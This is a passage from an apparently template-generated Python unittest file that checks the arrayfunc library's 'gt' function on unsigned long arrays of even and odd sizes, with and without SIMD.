class gt_general_even_arraysize_nosimd_simd_L_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_L_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_L_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_L_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_L_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
